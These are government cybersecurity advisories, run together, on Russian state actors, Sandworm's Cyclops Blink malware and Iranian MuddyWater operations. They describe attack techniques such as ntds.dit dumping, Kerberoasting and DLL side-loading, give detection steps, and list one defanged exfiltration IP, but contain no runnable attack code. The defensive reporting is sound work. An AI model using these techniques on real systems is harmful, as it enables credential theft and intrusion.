vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. Supply Chain Compromise: Compromise Software Supply Chain [T1195.002] Russian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted thirdparty software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. Command and Scripting Interpreter: PowerShell [T1059.003] and Russian state-sponsored APT actors have used cmd.exe to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, Execution [TA0002] Page 4 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE Tactic Technique Windows Command Shell [T1059.003] Procedure identify configuration settings, exfiltrate data, and to execute other commands. Persistence [TA0003] Valid Accounts [T1078] Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. Credential Access [TA0006] Brute Force: Password Guessing [T1110.001] and Password Spraying [T1110.003] Russian state-sponsored APT actors have conducted bruteforce password guessing and password spraying campaigns. OS Credential Dumping: NTDS [T1003.003] Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database ntds.dit. Steal or Forge Kerberos Tickets: Kerberoasting [T1558.003] Russian state-sponsored APT actors have performed Kerberoasting, whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. Credentials from Password Stores [T1555] Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. Exploitation for Credential Access [T1212] Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability CVE-2020-1472 to obtain access to Windows Active Directory servers. Unsecured Credentials: Private Keys [T1552.004] Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. Proxy: Multi-hop Proxy [T1090.003] Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic. Command and Control [TA0011] For additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&CK for Enterprise pages on APT29, APT28, and the Sandworm Team, respectively. For information on ICS Page 5 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE TTPs see the ATT&CK for ICS pages on the Sandworm Team, BlackEnergy 3 malware, CrashOveride malware, BlackEnergy s KillDisk component, and NotPetya malware. DETECTION Given Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to: Implement robust log collection and retention. Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include: Native tools such as M365 s Sentinel. Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. Note: for guidance on using these and other detection tools, refer to CISA Alert Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Look for behavioral evidence or network and host-based artifacts from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs. To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts. To detect use of compromised credentials in combination with a VPS, follow the below steps: Look for suspicious impossible logins, such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user s geographic location. Look for one IP used for multiple accounts, excluding expected logins. Look for impossible travel. Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). Note: implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks. Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the ntds.dit file from a domain controller. Look for suspicious privileged account use after resetting passwords or applying user account mitigations. Page 6 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE Look for unusual activity in typically dormant accounts. Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity. For organizations with OT/ICS systems: Take note of unexpected equipment behavior; for example, unexpected reboots of digital controllers and other OT hardware and software. Record delays or disruptions in communication with field equipment or other OT devices. Determine if system parts or components are lagging or unresponsive. INCIDENT RESPONSE Organizations detecting potential APT activity in their IT or OT networks should: 1. Immediately isolate affected systems. 2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware. 3. Collect and review relevant logs, data, and artifacts. 4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation. 5. Report incidents to CISA and/or the FBI via your local FBI field office or the FBI s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. Note: for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to or control of the IT and/or OT environment. Refer to the Mitigations section for more information. See the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, and NSA encourage critical infrastructure owners and operators to see CISA s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response. Note: organizations should document incident response procedures in a cyber incident response plan, which organizations should create and exercise (as noted in the Mitigations section). Page 7 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE MITIGATIONS CISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat. Be Prepared Confirm Reporting Processes and Minimize Coverage Gaps Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident. Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are known to target organizations on weekends and holidays when there are gaps in organizational cybersecurity critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage. Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1 for commonly observed TTPs). Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan Create, maintain, and exercise a cyber incident response and continuity of operations plan. Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions: o Do personnel have the access they need? o Do they know the processes? For OT assets/networks, o Identify a resilience plan that addresses how to operate if you lose access to control of the IT and/or OT environment. Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised. o Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline. o Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware. Page 8 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident. Enhance your Organization s Cyber Posture CISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management. Identity and Access Management Require multi-factor authentication for all users, without exception. Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access. Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials. o Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored. o Disable the storage of clear text passwords in LSASS memory. o Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication. o Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA). o Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as Kerberoasting takes advantage of Kerberos TGS and can be used to obtain hashed credentials that attackers attempt to crack. Set a strong password policy for service accounts. Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity. o Secure accounts. o Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks. o Ensure there are unique and distinct administrative accounts for each set of administrative tasks. o Create non-privileged accounts for privileged users and ensure they use the nonprivileged accounts for all non-privileged access (e.g., web browsing, email access). Protective Controls and Architecture Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly Page 9 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. Enable strong spam filters. o Enable strong spam filters to prevent phishing emails from reaching end users. o Filter emails containing executable files to prevent them from reaching end users. o Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments. Note: CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between and access to various subnetworks. Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks. Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network. Vulnerability and Configuration Management Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. o Consider using a centralized patch management system. For OT networks, use a riskbased assessment strategy to determine the OT network assets and zones that should participate in the patch management program. o Consider signing up for CISA s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats. CISA s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities. Use industry recommended antivirus programs. o Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures. o Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware. Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses. Page 10 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE Disable all unnecessary ports and protocols o Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity. o Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices. Ensure OT hardware is in read-only mode. Increase Organizational Vigilance Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity. RESOURCES For more information on Russian state-sponsored malicious cyber activity, refer to cisa.gov/Russia. Refer to CISA Analysis Report Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services for steps for guidance on strengthening your organizations cloud security practices. Leaders of small businesses and small and local government agencies should see CISA Cyber Essentials for guidance on developing an actionable understanding of implementing organizational cybersecurity practices. Critical infrastructure owners and operators with OT/ICS networks, should review the following resources for additional information: o NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems o CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations. REWARDS FOR JUSTICE PROGRAM If you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to rewardsforjustice.net/malicious_cyber_activity. Page 11 of 12 | Product ID: AA22-011A TLP:WHITE TLP:WHITE CISA | FBI | NSA CAVEATS The information you have accessed or received is being provided as is for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA. REFERENCES [1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors Page 12 of 12 | Product ID: AA22-011A TLP:WHITE Advisory. New Sandworm malware Cyclops Blink replaces VPNFilter Version 1.0 23 February 2022 Crown Copyright 2022 New Sandworm malware Cyclops Blink replaces VPNFilter The Sandworm actor, which the UK and US have previously attributed to the Russian GRU, has replaced the exposed VPNFilter malware with a new more advanced framework. Background The UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau of Investigation (FBI) in the US have identified that the actor known as Sandworm or Voodoo Bear is using a new malware, referred to here as Cyclops Blink. The NCSC, CISA, NSA and FBI have previously attributed the Sandworm actor to the Russian s Main Centre for Special Technologies GTsST. The malicious cyber activity below has previously been attributed to Sandworm: The BlackEnergy disruption of Ukrainian electricity in 2015 Industroyer in 2016 NotPetya in 2017 Attacks against the Winter Olympics and Paralympics in 20181 A series of disruptive attacks against Georgia in 20192 Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. https://www.ncsc.gov.uk/news/uk-and-partners-condemn-gru-cyber-attacks-against-olympic-an-paralympic-games https://www.gov.uk/government/news/uk-condemns-russias-gru-over-georgia-cyber-attacks This advisory summarises the VPNFilter malware it replaces, and provides more detail about Cyclops Blink, as well as the associated tactics, techniques and procedures (TTPs) used by Sandworm. An NCSC malware analysis report on Cyclops Blink is also available and can be read in parallel. It also points to mitigation measures to help organisations that may be affected by this malware. VPNFilter First exposed in 2018 A series of articles published by Cisco Talos in 20181 describes VPNFilter and its modules in detail. VPNFilter was deployed in stages, with most functionality in the third-stage modules. These modules enabled traffic manipulation, destruction of the infected host device, and likely enabled downstream devices to be exploited. They also allowed monitoring of Modbus SCADA protocol which appears to be an ongoing requirement for Sandworm, as also seen in their previous attacks against ICS networks. VPNFilter targeting was widespread and appeared indiscriminate, with some exceptions: Cisco Talos reported an increase of victims in Ukraine in May 2018. Sandworm also deployed VPNFilter against targets in the Republic of Korea before the 2018 Winter Olympics. In May 2018 Cisco Talos published the blog that exposed VPNFilter, and the US Department of Justice linked the activity2 to Sandworm, and announced its disruption of the botnet. Activity since its exposure A Trendmicro3 blog in January 2021 detailed residual VPNFilter infections and provided data showing a reduction in requests to a known C2 domain. Since the disruption in May 2018, Sandworm has shown limited interest in existing VPNFilter footholds, instead preferring to retool. https://blog.talosintelligence.com/2018/05/VPNFilter.html https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected https://www.trendmicro.com/en_gb/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html Cyclops Blink Active since 2019 The NCSC, CISA, FBI and NSA, along with industry partners, have now identified a large-scale modular malware framework which is affecting network devices. The new malware is referred to here as Cyclops Blink and has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard devices,1 but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware. Malware overview The malware itself is sophisticated and modular with basic core functionality to beacon (T1132.002) device information back to a server and enable files to be downloaded and executed. There is also functionality to add new modules while the malware is running, which allows Sandworm to implement additional capability as required. The NCSC has published a malware analysis report on Cyclops Blink which provides more detail about the malware. Post exploitation Post exploitation, Cyclops Blink is generally deployed as part of a firmware update (T1542.001). This achieves persistence when the device is rebooted and makes remediation harder. 1 Note that only WatchGuard devices that were reconfigured from the manufacture default settings to open remote management interfaces to external access could be infected. Victim devices are organised into clusters and each deployment of Cyclops Blink has a list of command and control (C2) IP addresses and ports that it uses (T1008). All the known C2 IP addresses to date have been used by compromised WatchGuard firewall devices. Communications between Cyclops Blink clients and servers are protected under Transport Layer Security (TLS) (T1071.001), using individually generated keys and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer through the Tor network: Mitigation Cyclops Blink persists on reboot and throughout the legitimate firmware update process. Affected organisations should therefore take steps to remove the malware. WatchGuard has worked closely with the FBI, CISA and the NCSC, and has provided tooling and guidance to enable detection and removal of Cyclops Blink on WatchGuard devices through a non-standard upgrade process. Device owners should follow each step in these instructions to ensure that devices are patched to the latest version and that any infection is removed. WatchGuard tooling and guidance is available at: https://detection.watchguard.com/ In addition: If your device is identified as infected with Cyclops Blink, you should assume that any passwords present on the device have been compromised and replace them (see NCSC password guidance for organisations: https://www.ncsc.gov.uk/collection/passwords ) You should ensure that the management interface of network devices is not exposed to the internet. Indicators of compromise Please refer to the accompanying Cyclops Blink malware analysis report for indicators of compromise which may help detect this activity. MITRE ATT&CK This advisory has been compiled with respect to the MITRE ATT&CK framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. Tactic Initial Access Technique T1133 Procedure External Remote Services The actors most likely deploy modified device firmware images by exploiting an externally available service Execution T1059.004 Command and Scripting Interpreter: Unix Shell Cyclops Blink executes downloaded files using the Linux API Persistence T1542.001 Pre-OS Boot: System Firmware Cyclops Blink is deployed within a modified device firmware image T1037.004 Boot or Logon Initialisation Scripts: RC Scripts Cyclops Blink is executed on device startup, using a modified RC script Defence Evasion T1562.004 Impair Defenses: Disable or Modify System Firewall Cyclops Blink modifies the Linux system firewall to enable C2 communication T1036.005 Masquerading: Match Legitimate Name or Location Cyclops Blink masquerades as a Linux kernel thread process Discovery T1082 Command and Control T1090 System Information Discovery Cyclops Blink regularly queries device information T1132.002 Proxy Data Encoding: Non-Standard Encoding Cyclops Blink command messages use a custom binary scheme to encode data T1008 Fallback Channels Cyclops Blink randomly selects a C2 server from contained lists of IPv4 addresses and port numbers T1071.001 Application Layer Protocol: Web Protocols Cyclops Blink can download files via HTTP or HTTPS T1573.002 Encrypted Channel: Asymmetric Cryptography Cyclops Blink C2 messages are individually encrypted using AES-256-CBC and sent underneath TLS T1571 Non-Standard Port The list of port numbers used by Cyclops Blink includes non-standard ports not typically associated with HTTP or HTTPS traffic Exfiltration T1041 Exfiltration Over C2 Channel Cyclops Blink can upload files to a C2 server Conclusion A Cyclops Blink infection does not mean that an organisation is the primary target, but it may be selected to be, or its machines could be used to conduct attacks. Organisations are advised to follow the mitigation advice in this advisory and to refer to indicators of compromise (not exhaustive) in the Cyclops Blink malware analysis report to detect possible activity on networks. UK organisations affected by the activity outlined in this advisory should report any compromises to the NCSC via our website. Further guidance A variety of mitigations will be of use in defending against the malware featured in this advisory. Do not expose management interfaces of network devices to the internet: the management interface is a significant attack surface, so not exposing them reduces the risk. See NCSC guidance: https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-networkdevices Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security patches promptly, use anti-virus and scan regularly to guard against known malware threats. See NCSC guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware Use multi-factor authentication to reduce the impact of password compromises. See NCSC guidance: https://www.ncsc.gov.uk/guidance/multifactor-authentication-online-services and https://www.ncsc.gov.uk/guidance/settingtwo-factor-authentication-2fa Treat people as your first line of defence. Tell staff how to report suspected phishing emails, and ensure they feel confident to do so. Investigate their reports promptly and thoroughly. Never punish users for clicking phishing links or opening attachments. See NCSC guidance: https://www.ncsc.gov.uk/phishing Set up a security monitoring capability so you are collecting the data that will be needed to analyse network intrusions. See NCSC guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-securitypurposes. Prevent and detect lateral movement in your organisation s networks. See NCSC guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement About this document This advisory is the result of a collaborative effort by United Kingdom National Cyber Security Centre (NCSC), the United States Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI) and National Security Agency (NSA) The United States Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI) and National Security Agency (NSA) agree with this attribution and the details provided in the report. This advisory has been compiled with respect to the MITRE ATT&CK framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. Disclaimers This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. All material is UK Crown Copyright DISCLAIMER OF ENDORSEMENT The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov. TLP:WHITE Co-Authored by: Product ID: AA22-055A February 24, 2022 Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks Note: this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK ) framework, version 10. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques. SUMMARY The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdom s National Cyber Security Centre (NCSCUK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectors including telecommunications, defense, local government, and oil and natural gas in Asia, Africa, Europe, and North America. Note: MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros. Actions to Take Today to Protect Against Malicious Activity Search for indicators of compromise. Use antivirus software. Patch all systems. Prioritize patching known exploited vulnerabilities. Train users to recognize and report phishing attempts. Use multi-factor authentication. MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).[1] This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018. MuddyWater actors are positioned both to provide stolen data and accesses to the Iranian government and to share these with other malicious cyber actors. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at Cybersecurity_Requests@nsa.gov. United Kingdom organizations should report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or for urgent assistance call 03000 200 973. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see www.cisa.gov/tlp. TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims systems and deploy ransomware. These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs) to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control (C2) functions. FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malware variants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATS along with other tools as part of their malicious activity. This advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks. FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information. Note: also see the Additional Resources section. Malware Analysis Report MAR-10369127.r1.v1: MuddyWater IOCs AA22-055A.stix and MAR-10369127.r1.v1.stix CISA's webpage Iran Cyber Threat Overview and Advisories NCSC-UK MAR Small Sieve CNMF's press release Iranian intel cyber suite of malware uses open source tools TECHNICAL DETAILS FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks. As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actor s C2 server or a PDF file that drops a malicious file to the victim s network [T1566.001, T1204.002]. MuddyWater actors also use techniques such as side-loading DLLs [T1574.002] to trick legitimate programs into running malware and obfuscating PowerShell scripts [T1059.001] to hide C2 functions [T1027] (see the PowGoop section for more information). Additionally, the group uses multiple malware sets including PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATS for loading malware, backdoor access, persistence [TA0003], and exfiltration [TA0010]. See below for descriptions of some of these malware sets, including newer tools or variants to the group s suite. Additionally, see Malware Analysis Report MAR10369127.r1.v1: MuddyWater for further details. PowGoop Page 2 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA MuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file impersonates a legitimate file that is signed as a Google Update executable file. According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three components: A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading technique [T1574.002]. The DLL file is contained within an executable, GoogleUpdate.exe. A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a second obfuscated PowerShell script, config.txt [T1059.001]. config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address. These components retrieve encrypted commands from a C2 server. The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service. Small Sieve According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python [T1059.006] backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe. The NSIS installs the Python backdoor, index.exe, and adds it as a registry run key [T1547.001], enabling persistence [TA0003]. MuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsoft's Windows Defender to avoid detection during casual inspection. The APT group has also used variations of Microsoft (e.g., "Microsift") and Outlook in its filenames associated with Small Sieve [T1036.005]. Small Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection [TA0005] by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API). Specifically, Small Sieve beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS) [T1071.001], and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function [T1027], T1132.002]. Note: cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to MuddyWater with high confidence. See Appendix B for further analysis of Small Sieve malware. Canopy MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [T1566.001]. According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. Note: the cybersecurity agencies of the United Kingdom and the United States attribute these malware samples to MuddyWater with high confidence. Page 3 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim opens the Excel file, they receive a prompt to enable macros [T1204.002]. Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files. The first .wsf is installed in the current user startup folder [T1547.001] for persistence. The file contains hexadecimal (hex)-encoded strings that have been reshuffled [T1027]. The file executes a command to run the second .wsf. The second .wsf also contains hex-encoded strings that have been reshuffled. This file collects [TA0035] the victim system s IP address, computer name, and username [T1005]. The collected data is then hex-encoded and sent to an adversary-controlled IP address, http[:]88.119.170[.]124, via an HTTP POST request [T1041]. Mori MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the group s C2 infrastructure [T1572]. According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C++ that is executed with regsvr32.exe with export DllRegisterServer; this DLL appears to be a component to another program. FML.dll contains approximately 200MB of junk data [T1001.001] in a resource directory 205, number 105. Upon execution, FML.dll creates a mutex, 0x50504060, and performs the following tasks: Deletes the file FILENAME.old and deletes file by registry value. The filename is the DLL file with a .old extension. Resolves networking APIs from strings that are ADD-encrypted with the key 0x05. Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the JSON library functions. It appears likely that JSON is used to serialize C2 commands and/or their results. Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified flag, for C2 [T1071.001]. Reads and/or writes data from the following Registry Keys, HKLM\Software\NFC\IPA and HKLM\Software\NFC\(Default). POWERSTATS This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems [T1059.001]. CNMF has posted samples further detailing the different parts of MuddyWater s new suite of tools along with JavaScript files used to establish connections back to malicious infrastructure to the malware aggregation tool and repository, Virus Total. Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor. Page 4 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688). See CISA s Known Exploited Vulnerabilities Catalog for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: Iranian Government-Sponsored APT 